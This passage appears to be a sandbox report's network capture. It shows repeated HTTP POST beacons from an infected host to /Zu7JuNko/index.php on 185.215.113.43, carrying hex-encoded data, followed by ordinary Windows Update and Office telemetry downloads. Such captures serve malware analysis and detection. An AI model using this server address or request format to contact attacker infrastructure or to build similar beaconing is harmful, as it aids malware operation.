Nov 22, 2024 04:19:04.579788923 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:19:06.066997051 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	50404	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:19:07.698411942 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:19:09.136710882 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:19:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	50405	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:19:10.889450073 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:19:12.275774956 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:19:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	50407	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:19:13.911091089 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:19:15.302364111 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:19:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	50408	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:19:17.054742098 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:19:18.405191898 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:19:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	50409	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:19:20.031688929 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:19:21.421674967 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:19:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	50410	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:19:23.170447111 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:19:24.546271086 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:19:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	50413	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:19:26.189295053 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:19:27.619307995 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:19:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	50414	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:19:29.370176077 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:19:30.756205082 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:19:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:11:21 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZGkWDSgVUswXLA9&MD=gO2EpeLL HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-22 03:11:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 5876d41a-fd8e-4779-a352-f72c77fb4d93 MS-RequestId: 0bce06c0-91ea-4dbf-aa17-c60f3cf95bd5 MS-CV: 2u0hgxHYt0aW1Hrh.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 03:11:20 GMT Connection: close Content-Length: 24490
2024-11-22 03:11:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-22 03:11:21 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:11:59 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:11:59 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:11:59 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 21 Nov 2024 12:25:08 GMT ETag: "0x8DD0A27899CAFB6" x-ms-request-id: 0e3600b6-201e-0096-7125-3cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031159Z-178bfbc474bfw4gbhC1NYCunf400000002fg000000001bw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:11:59 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-22 03:11:59 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-22 03:11:59 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-22 03:12:00 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-22 03:12:00 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-22 03:12:00 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-22 03:12:00 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-22 03:12:00 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-22 03:12:00 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-22 03:12:00 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> 